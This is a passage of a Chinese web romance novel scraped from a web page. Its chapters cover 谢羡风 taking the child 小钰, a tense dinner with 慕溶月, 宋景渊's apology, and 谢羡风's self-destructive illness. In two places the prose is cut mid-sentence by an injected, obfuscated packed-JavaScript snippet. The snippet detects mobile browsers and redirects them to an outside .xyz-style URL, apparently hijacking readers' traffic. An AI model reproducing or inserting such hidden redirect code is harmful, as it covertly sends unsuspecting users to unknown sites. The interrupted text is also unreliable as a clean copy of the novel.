小钰又补充道:“难道是……叔伯和慕娘亲吵架了么?” 谢羡风垂眸,这时才低低地叹了口气,“……算是吧。” “我还没见慕娘亲和谁吵过架呢!她脾气最好了。”小钰不禁感叹起来,“谢叔伯,那你可要好好向她道歉哦!” 谢羡风见她这幅忍不住操心的小大人模样,真是可爱极了,不禁莞尔一笑。 “嗯,”他伸手,爱怜地抚摸着小钰的头发,“我知道了。” 同时在心中默默起誓。 不仅要把她找回来。 还要带你们母女俩,一起回家。 38. 第三十八天 夜色阑珊,公主府内正是一片灯火通明。 苏凝兰心急如焚地来回踱步,“都怪你,非要去上什么香,这下好了,一转眼的功夫,小钰都给丢了!” “我也是听大师说的嘛……” 张冉有苦难言地耷拉着脸,一边被骂得狗血淋头,一边又不敢反驳。 慕溶月则是在旁安抚两人道:“别担心,我会帮你们一起找的。那道观不大,只要将当日的往来人员都调查清楚,很快便能找回小钰的。” 这时,杏雨忽然小碎步跑了过来,传信道:“小姐,老夫人来话了。” “好。”慕溶月扭头看向苏凝兰,“凝兰,我去去就回,你们暂且在这里等等我。” “好,你快去吧。” 慕溶月前脚刚走,苏凝兰正焦急地思索着对策,下一刻,突然从门外走出来了一个嬷嬷,怀里还带着一脸懵懂的小钰。 见到苏凝兰夫妇俩,小钰立马笑得睁圆了大眼睛,张开双臂欢呼道:“阿母!阿爹!” “小钰——” 苏凝兰喜极而泣地拥了过去,当即便把小钰抱在了怀里,翻来覆去地看,生怕哪里会多出来一道伤口。直到来回仔细地检查了三遍,发现她身上什么也没少,这才勉强松了口气。 “你这小妮子,真是叫阿母担心受怕。你都跑去哪里了?怎么这么晚才回来?” “就是,你知不知道你阿母为了找你,急得都像热锅上的蚂蚁似的。”张冉也应声附和,一边抬首看向带她回来的嬷嬷问话了起来,“你是在哪里接到她的?” 小钰委屈地扁起嘴,旁边的嬷嬷便解释道:“方才奴婢路过那府门口,见到远处有个眼生的马车,车门一打开,小小姐便从里面下来了。奴婢还没来得及问呢,那马车就关门跑远了。不过,奴婢刚才问了小小姐,她说是一个黑衣人送她回来的。” “什么?”苏凝兰吓得差点没背过气去,“小钰这是被绑架了……” 张冉也有些后知后觉的惊恐,连忙抓紧小钰的手,“今晚不许去逛花灯节了,咱们直接连夜回家去!” “什么嘛,不要……” 小钰一听说最爱的花灯节行程也被取消了,登时急得把谢羡风交代她的话都抛之脑后,又哭又闹。张冉只好蹲下去哄她,一番拉扯之间,从小钰怀中的口袋里忽然掉出来了一个沉甸甸的盒箧。 那盒箧摔在地上,盖子也被碰了开来。苏凝兰奇怪地弯下腰去一看,“这是什么?” “噢,对了!”小钰这才想起了这一茬,“阿母,这是给你的。” 苏凝兰捡起来一看,那是一对成色上乘、价值连城的金银锁。她更是吓得魂不附体,“你哪来的这个东西?小钰,阿母是如何教导你的,你不许乱偷别人的东西!” “才不是小钰偷的呢!”小钰嘟起嘴不服气一般,“这是谢叔伯给小钰的!” “谢叔伯?”苏凝兰迷糊地看向张冉,“……你家有姓谢的亲戚?” 张冉更是困惑了,仔细思索了一番,最后才否认道:“没有啊。” 小钰丝毫没有察觉,继续语出惊人:“谢叔伯还说,他也是我爹爹!” “……?”张冉指着自己,“他是你爹,那我是谁?” 苏凝兰这时才恍然大悟,猛地用手肘一推张冉,后者这才一拍脑门道:“……哦!是谢羡风啊。” 苏凝兰叹了口气,顿感头疼不已:“都怪你当初乱答应那宋国公的馊主意,这不是胡闹吗?如今可好了,那姓谢的真把咱们小钰当成是他女儿了,这事如果传出去,那我成什么人了嘛……” 张冉也是气急败坏地挠着头:“我的少奶奶,我也不知道那姓谢的胆子这么大,敢当众绑人啊!虽然他是个小将军,可是也不至于这么嚣张吧,还有没有王法了——” 两人正埋怨到一半,苏凝兰突然想起他们这会儿还在公主府,连忙捂住了张冉的嘴:“嘘,你小点儿声!万一被月儿听见……” 话音未落,张冉的脸色刷一下就变白了,他瞬间噤声,而苏凝兰顺着他的视线看去——慕溶月正站在不远处,无意间撞破了他们二人的对话,神色愣怔。 苏凝兰表情也变得僵硬起来,张冉顺势推了她一把,她只好面露尬色地朝慕溶月走去。 “月儿,你来得正好。”她一边措着辞,“……我正想去找你,跟你说,不用去挨个排查了,小钰已经找到了。” “小钰是谢羡风带走的?他为什么要这么做?”慕溶月却忽然打断了她,“你们刚才说……他把小钰当成是他女儿了,这是什么意思?” 苏凝兰沉沉地叹了一口气,知道事情是瞒不住了。 “好吧,其实,我还有一件事没来得及同你说。” “其实,在很多天以前……谢羡风就已经去找过我了。” 于是,她索性把那天和谢羡风的对峙、以及后来宋景渊找上门与她的对话一并告诉了慕溶月。慕溶月闻言并不惊讶,只是在听到宋景渊提出要用小钰迷惑谢羡风让他误解之时,情不自禁皱紧了眉头。 “我知道那天是他故意策划让谢羡风与我碰面……”慕溶月喃喃自语着,“只是没想到,他竟然还不惜利用了小钰。” 苏凝兰试探地小声问她:“月儿……你在生气吗?” 慕溶月不想对苏凝兰说慌,只好凝重地点了点头承认道:“……有一点。” 望着慕溶月的表情,苏凝兰忽而能理解她的感受了。她毕竟才失去了亲生骨肉,又怎能接受自己的失子之痛,被人利用,当成了打压另一个人的手段呢? 此事的确太欠妥了。 “抱歉,当初是我思虑不周了。”苏凝兰诚恳垂下头,道歉道,“我不该太迷信那宋国公的一言之词,我该将你的感受放在第一位的。” “……罢了。”见苏凝兰这幅歉疚的模样,慕溶月终是心软了下来,牵了牵她的手心,“事到如今,保护好小钰才是最重要的。” “这些日子,你暂且把小钰带回家去吧,我也会多派几个侍卫跟着她的。在我找机会同谢羡风说明白之前,你们不要再带小钰随意外出。” 苏凝兰点了点头,慕溶月也向她致歉道:“此事与我脱不开关系。说到底,你们一家会被谢羡风纠缠,也是受了我的连累。像今日这种荒唐的事,往后不会再发生了。” 苏凝兰无奈地哀叹,“月儿,我从没有责怪你的意思。我……我只是想帮到你。” 慕溶月轻拍她的肩头,以示安慰:“回家吧。” 见二人气氛有所缓和,小钰这时才终于大着胆子上前,怯生生地拉着慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655584|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溶月的衣角问。 “娘亲,你在生小钰的气吗?以后小钰不会再乱跑了。” “没有,”闻声,慕溶月蹲了下来,莞尔一笑,温和地抚摸小钰的头,“我怎么舍得生小钰的气呢?反倒是我不好,没能保护好小钰。” 她望着小钰的眼神充满了爱怜与疼惜。当初,她惨痛地失去了自己的孩子,而没过多久,苏凝兰的女儿便诞生了,好似一种冥冥之中的缘分。从那之后,慕溶月便一直将自己内心的这股情感寄托在了小钰的身上,将她当成是自己的亲生骨肉一般疼爱。 其实,当年她没能保护好自己的孩子——这一直是她心里过不去的一道坎。 “娘亲,”小钰就在这时忽然话音一转,从怀里拿出了另一个小物样笑道,“谢叔伯还给了小钰这个,让小钰交给你!” “什么?” 慕溶月一愣,随即看清了她手里那东西的模样。 是一个小巧玲珑、制工精巧的泥面人。 慕溶月心中一惊,动作也僵住了。 乌沉沉的往事瞬时向她砸来,心口那密密麻麻的坠胀感,让她好似快要窒息。 “说起来……他还拿了这个过来。”苏凝兰就在这时拿出了刚才的那一个盒箧,“想来,这对金银锁也是他为你而准备的吧。” 她话音未落,众人还未反应过来——慕溶月便以迅雷不及掩耳之势,果断地将那泥面人丢进了脚边的火盆之中,动作之快,丝毫不拖泥带水。 眼看着那跃起的火光瞬间将泥面人吞噬,残缺的小人摇曳在火星之间,而逐渐被烧作了灰烬。 苏凝兰一时惊愕,不由得吞了口口水:“你……你就这样把这东西烧了么?” “嗯。” 慕溶月反应平淡,好似没有任何留恋之感。说着,她思索了几许,又转而按住了苏凝兰正欲打开盒箧的手,“这对银锁,是他送给小钰的,你就替小钰收下吧。就当是他打扰你们清净的赔礼。” 苏凝兰皱了皱眉头,“可是……” 慕溶月平静道,“我会去找他说清楚的。” “……” 苏凝兰一时无言以对,小钰倒是天真无邪地扬起了头,炫耀一样拉着苏凝兰的衣袖叹道:“我就说了嘛,慕娘亲根本不喜欢这个泥人。谢叔伯非不相信——还说他送的是特别的!” 她话音落下,苏凝兰连忙暗中观察慕溶月的反应,见她脸色愈发难看起来,苏凝兰大喊不妙,心中默念着童言无忌,一边拍了拍小钰的大脑门:“……好啦,少说两句吧你,傻丫头。” *** 三日后,从长公主府送来的请帖便递到了谢将军府。 那请帖由慕溶月亲笔撰写,落款是“平昌郡主”。 谢羡风攥着那张薄薄的信帖,来回地看了好多遍,直到熟读了每一个字,倒背如流。 她已经被封为郡主了,他一时还不适应,总觉得她还是那个他记忆之中的“慕夫人”。 不过…… 他这招果然奏效了。 慕溶月终于肯见他了。 看来,投其所好果然没错。他送的礼物,都猜中了慕溶月的心意。 谢羡风抿唇一笑,眸底漾出浅浅的欢愉。 “去永春楼,订最好的厢房。” 39. 第三十九天 慕溶月来到永春楼时,谢羡风已经在这里等她了。 她这次来找他,只带了杏雨一个贴身丫鬟。本意是不想太过张扬,惹来误会和非议。 但她一推开门时,谢羡风的目光便落在了她身上,见她孤身一人前来赴约,不免眼前一亮。 已经记不清楚,有多久没有和她独处的机会。 谢羡风强压住心头的期许,坐回了席上,面上恢复镇定。 “大人,可以布菜了吗?” 谢羡风轻颔额首,以示默认。 慕溶月落座后,小厮也将盘盘珍馐端上了桌,很快便摆得琳琅满目,令人目不暇接。 食香氤氲间,慕溶月的脸色却不大好看。 她没什么胃口。 因为桌上有近一半的菜品里都加上了香菜与葱花点缀。 谢羡风却没察觉气氛微妙的变化,慕溶月正要开口之时,他忽然倾身为她夹了一筷子的肉菜,放进她的碗中,“不着急,先用膳吧。” 很快,慕溶月的食碗便被各类的菜品装满,他试图堵住慕溶月的嘴,来延长他们此番相处的时间。 慕溶月一时啼笑皆非,索性将筷子平放在了碗上,打断了谢羡风这类幼稚的伎俩,开门见山地问。 “前几日,小钰的失踪一案可和谢将军有关?” 慕溶月是明知故问,却还是低估了谢羡风装傻充愣的本事。 “若是有人失踪,建议平昌郡主尽早报官,交由官衙处理。虽然失踪类案素来并不归我管辖,但京中的城守尉与我曾是旧识。我可以替郡主去打听打听,不过是一句话的事……你觉得呢?” 慕溶月暗自攥紧了手指。 谢羡风只用一句话便将自己摘了干净。 不仅对她用了“郡主”这一称谓,显得公事公办;还特意点出了他与城守尉的旧交,也是为了侧面地提醒慕溶月,让她放弃报官的念头,否则此事最后也只会是不了了之。 如今小钰已经平安归家了,身上也没有缺金少银——看起来,她的确拿他没办法了。 慕溶月一时间有些恼怒。 “现在,我们可以好好吃饭了么?” 谢羡风莞尔一笑,神色气定神闲。 慕溶月却始终没有动筷。 二人无声地僵持着,直到谢羡风终于觉察出了几分异样。换做从前,他为她夹的菜,她总是囫囵吞下。于是,他今日点菜时,还特意专点了从前家中最常出现的那几道菜,以为她也会喜欢。 可直到现在,慕溶月却始终一口也没动。 “这是你最爱的凉拌牛肉丝。”接着,谢羡风便又主动上前夹了一筷子的牛肉裹着香菜碎,探入慕溶月碗中,试探道:“不如试试,合不合口味。” 那牛肉一放进来,香菜的辛辣之味瞬间就沾染了整个碗具,多闻一下就让人感到浑身瘙痒。 慕溶月忽然有些匪夷所思,从前的她都是怎样忍耐着不适,将谢羡风给她夹的菜都乖乖吃干净的? 现在的她,只想将这个被香菜味道浸染的碗倒扣在桌上。 “谢将军记错了吧,”慕溶月最终还是保持了教养,只是冷笑道,“这些都是你爱吃的菜点,不代表我也同样喜欢。” 闻此言,谢羡风却没有搭腔,而是沉默了起来。 许久过去,空中才传来一声沉闷的轻响。 “所以……你的口味是随着身边的人而变化的么?” 话音未落,慕溶月惊讶到怀疑自己听错了:“你说什么?” 说完,谢羡风自己也顿了一瞬,许是慢半拍地察觉到自己话里竟藏着几分无意识的讥讽。他闭上了唇,没有再开口。 但说者无意,听者有心。 话一出口,覆水难收。慕溶月心口涌上一股难以抑制的愠火。 他竟然这样看她,把她当成什么人了?难道在他眼里,她就是这样一个没有自我、没有自尊的人吗? ……似乎确实是这样的。 在他的身边,他从来都看不到她的自我,也不懂得维护她的自尊。 否则,她嫁给他两年,他也不会连她吃不了香菜这一点都未曾注意到过。 罢了。 都已经结束了,她又何必去解释那么多? “……纵使是又如何?”于是,慕溶月索性破罐破摔道,“他与我朝夕相处两载,我会受他的影响,难道不是情理之中?” 朝夕相处。两载。 每一个词都让谢羡风心头躁郁,怒意暗涌。 他兀自紧攥双拳,嗓音也变得沙哑起来:“你这样信任他……” “那你知不知道,他都害你被牵扯进了什么案子?” 慕溶月脸色一僵:“我不懂你在说什么。” 谢羡风阴沉着脸,猛地贴近慕溶月的脸,几乎是擦着她的耳侧咬牙切齿地说。 “你知不知道,他在暗中走私军械?” “……往大了说,那可是谋逆的死罪!” 那桩走私案……?! 又怎么会和谢羡风扯上关系的? 慕溶月呼吸一滞,脸色瞬地变得苍白。 脑海中许多断碎的线索,就在此刻逐渐连成了线。 难道…… 那日,她在虎头崖上见到的男人……就是他? 难怪,那日她感觉男人的那道视线是如此的熟悉……如此的滚烫。仿佛要将她的身上烧出一个洞来。 原来,她那时无意看见的刘彰、陡然间被打乱的计划……原来那些都不是巧合。 是谢羡风半路搅进了这趟浑水,害得她被暴露,也连累了父亲和宋景渊静心筹谋的计划都付之一炬。 慕溶月的脸色瞬间转冷。 此时此刻,她看到谢羡风就不禁怒火中烧,再也不想看见他那张厌烦的脸。 “关于这件事,我没有义务要向你交代什么。我不是你的犯人,你也没有资格审问我。” 说罢,慕溶月猛地起身,作势要走。 谢羡风却猛地拉住了她的手腕,将她往自己身边带,情难自控地低吼出声:“你现在离开他——我还可以帮你!” 慕溶月却是哧地笑了一声,反问他:“帮我?” 她冷漠地看着谢羡风的双眼,仿佛在凝视一个跳梁小丑。 “他是我的未婚夫,我早就与他荣辱与共了。” 谢羡风的动作逐渐地僵住。 言下之意,便是叫谢羡风搞清楚自己的立场。 他们才是一家人,是一个战线的。 而他不过是个外人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711692|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她自然没有义务向他多余地解释什么。 谢羡风犹如当头一棒,头晕目眩。 沸腾的血液也逐渐冷却了下来。 他原以为,慕溶月是受了蒙蔽,一旦她看清了宋景渊的真面目,便会很快清醒过来,回到他的身边。 他们还能过回从前的日子。 可他怎样都没想到。 纵使知道了宋景渊涉嫌这般的重案,她也义无反顾,反过来指责他的多管闲事。 “好……好。” 谢羡风气到无话可说,最终只有悻悻地松开了手,再也没有理由阻拦她的脚步。 也阻止不了她的离去。 只能眼睁睁地看着慕溶月大步流星走到了厢房门口,忽而停下步伐,扭过了头来。 “还有,小钰不是你的孩子。” 一句话,再度让谢羡风的心头隐隐抽痛起来。 “她是凝兰的女儿,我只是她的义母。”慕溶月一字一顿道,“所以,请谢将军以后莫要再打扰她们母女。” 谢羡风紧皱眉头,哑然失语,只有双颊泛起一阵后知后觉的羞赧的红。 “我今日来找将军,便是给将军留了最后一分的体面。” “要不要,全凭将军自己决定。” 扔下最后一句话,慕溶月便转身大步离开了永春楼,头也不回。 杏雨本想跟着小姐一同离去,但一想到小姐今日在这宴席上受的折辱,左右还是不想就这样忍气吞声了。 从前那是因为小姐心里还有谢羡风,因而忍了便算了,可今日,难道还要继续忍下去吗? 于是,杏雨又暗自折返了回来,看着那一桌绿灿灿的菜,大口啐了一声。 就在谢羡风瞠目结舌之时,杏雨又当着他的面高声道:“谢大人,从今往后还请不要擅作主张,给我家小姐点菜了!” 谢羡风一时还没反应过来,下意识开口想为自己辩驳:“可是,今日这些都是她从前……” 杏雨却不想与他去口舌之争,直接打断了他的话:“小姐一直都对香菜有忌口,每回哪怕沾上一星半点,身上都总要起大片的红疹,许久都不见消退——还请谢大人高抬贵手,不要再迫害我家小姐了!” 谢羡风的后半句话卡在喉头,戛然而止,再无声息。 杏雨终于出了气,心头不由得舒畅了许多,便也扭头快步跟上了慕溶月的步伐。徒留谢羡风一人,呆滞地愣怔在了原地,好似那风中的稻草人,丝毫也动弹不得。 谢羡风这时才察觉到。 或许,他无意间忽略了许多东西。 忽略了她曾经对他的付出。 也忽略了他的卑劣,让她蒙受了多少委屈。 是他不知何时起,渐渐将她的迁就,而视作了理所当然。 为了迎合他的风格,她勇敢地跨上马背、拉起长弓; 为了适应他的口味,她皱着眉吞下不合口味的菜肴…… 而他却只将这些冠以了爱的名义,轻松地一笔带过,如此顺理成章,仿若她天生如此。 但得不到回应的爱,终将归于熄灭。 再炽热的心,受寒风裹挟,也会慢慢冷却。 谢羡风捂住额头,忽感自己好似被绞进一场漩涡之中,头痛欲裂。 40. 第四十天 直到寄往公主府的第三封帖子都被原封不动地退了回来,宋景渊这才慢半拍地察觉到,慕溶月可能生他的气了。 于是,还没摸着头脑的宋景渊,尽管还有一身的公务没来得及处理,最终仍然决定抽空亲自去一趟公主府。 还没见着慕溶月本尊之前,宋景渊存了个心眼,找了几个她身边亲近的丫鬟来打听情况,却发现丫鬟们皆是对此三缄其口,任他如何套话都是装傻充愣,一问三不知。 宋景渊佯装愠怒地质问:“你们可都是串通好了,在这里戏耍我呢?” 那丫鬟吓了一跳,连忙支支吾吾地解释:“对不起,宋大人……我们小姐交代过了,我们……我们什么也不知道。宋大人,还是请您自己去吧。” 说到这里,其实宋景渊已经大概可以猜到几分了。 他做好了心理建设,这才来到了清月阁门前。请门童前去通传,半晌却无人回应。 这还是他第一回在慕溶月这里吃了个结实的闭门羹。 纵使她最初主动向他提出退婚,也没有像今日这般躲着不见他。 这是连表面功夫也懒得做了。 宋景渊忽然嗤地笑了一声,不知怎么,心里居然莫名的有些开心。 在他眼里,慕溶月这番冷脸之举,不似泄愤,倒更像是一种撒娇。勾得人心尖儿酥麻。 难道,他其实也有几分受虐倾向? 宋景渊又看了一眼他面前紧闭的大门,哭笑不得。 没关系。 他最不缺的就是耐心。 于是,他索性一跨腿,径直坐在了庭院内的石桌旁,一边斟茶,一边对着院墙伸冤。 既然都来了,自然就没打算无功而返。 “郡主大人不愿见我,我只好在门前等着郡主大人回心转意了。” “自古以来,就连十恶不赦的重刑犯也有为自己辩护的机会。” “郡主大人宽宏大量,就给小人开开门吧。至少,让我死得明白些——可好?” …… 他念经似的来回絮叨了好一会,终于见了效。 最后,许是经受不住这蚊子叮咛一般的叨扰,清月阁的门被人打了开来,慕溶月一脸无奈地站在门后。她还在生闷气,脸颊圆鼓鼓的,映在宋景渊眼底,宛若变成了一个香软的白面包子。 她嗔怒:“你倒好,将我形容得像个暴君。” 宋景渊笑着起身,走到了她身侧。 “总算见到你了。”他没有再继续为自己辩解,而是话锋一转,目光落在了慕溶月的发髻上,视线逐渐变得炙热而黏腻,“这只白玉簪头很配你……衬得你清丽脱俗,甚是好看。” 慕溶月终于端不住,怒极反笑道:“几日不见,你倒是愈发油嘴滑舌了。” 见她神色有所松动,宋景渊这才郑重其事地向她行了个端正的礼。 “我今日来,是特地负荆请罪来了。” “你也知道自己做错了?”慕溶月的面色又阴沉了下来,“你若是考虑过一丝我的感受,就不会让小钰也被卷进这场荒唐的闹剧之中了。” “我知道那时的事,是我处理的方式欠妥了。”宋景渊忍不住为自己辩驳道,“……但若说我不顾及你的感受,那可真是白白冤枉我了。” 慕溶月一副“看你如何强词夺理”的表情。 宋景渊叹了口气,也与她敞开心扉,互诉衷肠。 “我只是想借势解开你的心结。” “我想让你真正地放下过去……重新生活。” “溶月,你能原谅我吗?” 慕溶月肃声反问:“原谅?你总是擅长摆弄这些障眼的手段,我谈何立场去原谅你?若说原谅,恐怕小钰才是那个你最该赔罪的对象。” 看见慕溶月的神情,宋景渊知道,这一回,是他玩脱了。 他一时也有些忐忑难安起来,犹豫该如何才能取得她的原谅。 下一刻,慕溶月却遽然话音一转。 “我只是觉得……从今往后,若再有什么事,你可以先与我商量。” 说到这里,她语气带着几分哀怨,低低地补充道,“……哪怕是关于谢羡风的。” 宋景渊一愣,还没反应过来之时,慕溶月又轻声道。 “你我既然已经有了婚约,往后便是同心一体,若再遇上了什么风浪,我希望我们能一起面对。” “谢羡风的事……你特意瞒着我,让我被打得措手不及,莫不是信不过我,担忧我还会顾念与他的旧情,是不是?” 宋景渊仿若被一语中的,而面带赧然。 “……” 慕溶月叹了口气道,“所以,其实你自己也并不是全然信任我。那我又该如何去对你交付真心?” 宋景渊一时惊诧难言。 旁人总以为,慕溶月是支温室之中长大的花朵,娇生惯养、妇人之仁。 其实,她远比外人想象的还要坚韧。 她并不像他多虑的那般,对待感情优柔寡断,行事作风拖泥带水。 其实,只有很少的人才看出,她真正的内核其实无比的稳固。 相反,那个遇事彷徨不定的人是他,宋景渊。 他的犹疑与猜忌,反倒会拖累了她前进的步伐。 宋景渊心头忽而涌上一股惭愧之情。 与此同时,又很暗自庆幸。 庆幸他遇到的人是她。 庆幸,他们又重逢在了一个恰到好处的时机。 “……你说得对。”宋景渊终于彻悟道,“我明白,是我错了。” “月儿,我答应你。从今往后,我不会再对你有任何的隐瞒。你是我未来的妻子,我的那些上不了台面的伎俩……不该用在你的身上。” 闻此言,慕溶月终于弯起唇角笑了一下。 “但愿你说到做到。” 宋景渊也舒了口气,笑了笑,跟着她身后随之踏进了清月阁。 “那么,这位宅心仁厚的郡主大人,能否原谅我,陪我一起去用晚膳了?” “这几日天闷,我不愿出门,倒是有些想念素芳斋的酥 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直到她提到谢羡风对他“罪行”的控诉时,宋景渊终于忍不住匪夷所思地打断道。 “他真是这么说的?” “他以为是我在私买军械?” 杏雨点了点头,半晌又补充道:“不过,小姐并没有对他多说什么,所以,谢将军现在还暂时不知道内情。” 宋景渊忍不住噗嗤地笑了一声。 不知怎么。 忽然有点暗爽。 尤其是,当他在脑内擅自想象了一下慕溶月当着外人的面维护他的情景……宋景渊忽然甚是可惜,当时他为什么不在现场呢? 原来,她早就对外以他的未婚妻身份自居了。 他却后知后觉,真像个傻瓜。 “好,我知道了。” 宋景渊心情大好,先前的疲惫仿佛都一扫而空了。 *** 之后的半月,宋景渊破天荒地告了假,顺势留在了公主府,寸步不离地陪慕溶月休沐了几日。 而谢羡风再也没有了消息。 他似乎在临州城逗留了几日,便又启程回了荆川,自此便没有了音信。 不过,这一回,宋景渊多留了个心眼,派了几名暗卫紧跟着他,随时汇报他的动静。 就这样,又是几天过去。 直到这一日。 宋景渊布设的探子发来了关于他的情报,说他刚回荆川,便突发严重的头疾,大病了一场,接连半月都卧床不起,元气大伤。 此时的荆川有如群龙无首,乱成了一团。有人不远万里请来了太医为他看诊,有人特地去寺庙求来了佛使做法事求神……皆是无果。 这头疾愈演愈烈,眼看着就要步入危险的境地了。 宋景渊攥着那字条,一时陷入了沉默之中。偏偏,慕溶月就在这时推开了大门,浑然不觉地问道:“怎么了?方才一直叫你,也不见回应。” 41. 第四十一章 宋景渊的动作犹豫了一瞬。 下一刻,慕溶月便已经停在了他的身侧。 宋景渊并没有刻意遮掩。相反,这一次,他并没有隐瞒之意,而是大方将手中的字条袒露在了慕溶月的眼前。 “溶月,我想让你看看这个。” 慕溶月抬眼便看见了那字条,神色逐渐多了一缕晦暗的情绪。 宋景渊无声地观察着她的表情。得知了谢羡风的病况,她眸底涌动的情绪,不像是同情,也算不上悲伤。 宋景渊有些读不懂这个表情,便情不自禁地伸出手,轻抚慕溶月的眉心,似是想要将她眉宇间的心绪化开:“夫人,你为何皱起眉头……可是在担心你的前夫?” 慕溶月闻声,却是微微一笑。 “他身为一营之将,若是有个意外,自会有人来处理后事。怎会轮到我来担心?” “可是,这信上写,他的情况很不妙,或许还有性命之危。”宋景渊又反道,“面对将死之人,人难免会生出几分同情。” “同情?”慕溶月却是冷笑着反问,“我为何要同情一个杀害我腹中孩子的凶手?” “若他真的病死了,那也不过是因果报应罢了。” 她说这话时,眼底写满了漠然,看不出一丝的波澜。 闻言,宋景渊微微颔首。 说罢,慕溶月又将目光重新放回了宋景渊身上,转而认真地问,“不过,你派人跟着他做什么?” 宋景渊讪笑了一下。 “毕竟上一次任务失败,便是拜了他谢大人所赐。这一回,我可不想再重蹈覆辙。” 慕溶月心中一紧,顿悟问道:“难道是那边又有消息了么?” 宋景渊点了点头。 “谢将军现在还不能死。”他一字一顿道,“他对我们还有用。” 慕溶月却是不解:“什么意思?” 宋景渊神色一变,便抬首向四周的下人使了一个眼色。奴仆们纷纷退下,为二人关紧门窗。 “溶月,我想与你商议一件要事。” 宋景渊主动拉起了慕溶月的手,将她带到了桌边,郑重其事地坐好。 他这般煞有介事的模样,反倒惹得慕溶月笑了起来,“什么样的事,叫你这般紧张?” “因为,此事与你我息息相关。”宋景渊沉声道,“……我不希望叫你为难。” 慕溶月便知道,此事绝非小情小爱那么简单了。 她理好了思绪,也端坐看向宋景渊:“你说吧。” “前几日,我收到了桓王的密信。信里,他有意向我提起了谢羡风。”宋景渊的语气一沉,“我猜想,是因为谢回到荆川之后,一心彻查走私一案,作势太过招摇,进而引起了桓王一党的注意。” 慕溶月的神色微微一变。 “若我说,希望你与我共同设下一个局,以他谢羡风为饵,钓出桓王这条大鱼——”宋景渊紧盯着慕溶月,连带着牵她的手指也逐渐收拢,“溶月,你会愿意帮我这个忙吗?” 慕溶月倏地皱紧了眉心。 “什么意思?” 宋景渊顿了顿,只道:“首先,要让他谢羡风自愿变成我们手下的棋子。” 慕溶月沉默了一瞬。 “可是,要怎么做?” “自从上次我将话挑明,便是与他撕破了脸皮,他今后便没有理由再来见我了。” 宋景渊对此并不意外,他眸光晦暗,只是定定道。 “那么,我们可以顺水推舟,逼他现身。” *** 夜里的沙地透着凄冷。 暖帐之中,谢羡风安静地卧在榻上,轻阖双眼,面色如土。 他一动也不动,身上却紧紧地裹着一件深色的袄袍。夜风吹动帘帐,他忽而用侧脸轻蹭了一下那衣襟,眉间的阴郁才终于消散了几分。 众将士与侍从将帐帘围住,他们眼中的将军总是疏离冷淡,拒人于千里之外。难得他病中虚弱,才能见到他这幅脆弱、不设防的模样。 在旁人眼中,他身上的那件棉袍还残留着没绣完的针脚,单看样式并不好看,甚至也算不上一件御寒的衣袍,只能勉强披在身上,当做赘余的挂件。 不知为何,他病中却始终穿着这棉袍不肯松手,仿若对待一件珍宝。 起初,有人试图将那碍眼的棉袍挪开,转而为他盖上一层棉被取暖,结果刚扯出了一个角,便被谢羡风厉声喝止。他苍白着脸,双手却执拗地拽着那衣袍往身上盖,吓得周围人连忙退去。 “这棉袍,好似是谢将军的发妻留下的旧物……” “或许,将军是太过思念发妻了吧。” “将军的头疾已有半月了都不见好……到现在,他连进食都是困难,眼看着消瘦了一大圈,元气大伤,再这样下去,恐危及性命呀!” “要尽早做好最坏的准备……总之,先去通知将军的家眷吧。” 可是,家眷? 众人一时间面面相觑。 众所周知,谢将军素来孑然一身。纵使两年前成过一次亲,现今却也是恢复了孤身一人。 不过……倒是听说,他似乎还有个孩子。 只不过,那孩子如今跟着女方在生活,下落不明。 “眼下,平阳郡主已然和宋国公订了婚……我们这般冒昧去打扰,是不是不太妥当?” 众人皆是束手无策起来。 …… 谢羡风此次离开临州,只带走了家里的一样东西。 那便是慕溶月两年前为他缝制的那件冬衣。 自从那日与她分别,他的头疾便愈发严重起来,有时一发作便是彻夜难眠、寝食难安。 那疼痛犹如蚀骨钻心,好似酷刑折磨,让人避之不及。在备受煎熬、咬牙也无法忍耐之时,他便会裹着这件棉袍,试图安抚自己紊乱的呼吸,却怎么也捂不暖发寒的心。 棉袍上的味道,有些淡了。 再也闻不到她的味道了。 一想到这一点,谢羡风的心头就愈发焦躁起来。这感觉让他几乎发狂。 于是,他便下了一个决心。 索性,任由这头疾继续肆虐。 其实,谢羡风一直都知道,宋景渊私派了暗卫跟着他的行踪,他的一举一动,都被人记录在册。 于是,他便自暴自弃,任由这头风发作下去。郎中为他开的药汤,他暗中倒了干净;手下派来侍从贴身照护他,他统统赶走…… 他要叫自己深刻地记住这份痛。最苦熬之时,三天三夜滴水未进,人干瘦得犹如枯槁。 这般自虐的蠢事,若是换做从前,恐怕就连谢羡风自己也都无法理解、更不会苟同。 可如今,他却转了念。 若他咽下这一番苦头, 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那年莫家遇难,他在皇殿前跪了三天三夜,她怀着身子,最后也满怀忧心地冒雨来找他,求他回家…… 无论她再怎样生他的气,无论他们再怎样吵闹……她却总也是放心不下他的。 可这一招,如今怎么也不灵验了? 难道,她连他的死活,也浑然不在意了么? 谢羡风不愿多想,也不敢去深想——他疯了一般地将自己关在房门里,却暗中派去了刘彰,本意是想让他回京打听慕溶月的近况。 却没想到,刘彰带回了另一个噩耗。 “你说……她把我送她的泥面人都给烧了?” 刘彰垂着头,不敢看谢羡风的表情。 谢羡风的声音是难以抑制的颤抖,他忽而撑着床榻起了身,猛地抓起怀中的那棉袄——直到手背都爆出了青筋,也无法松手。 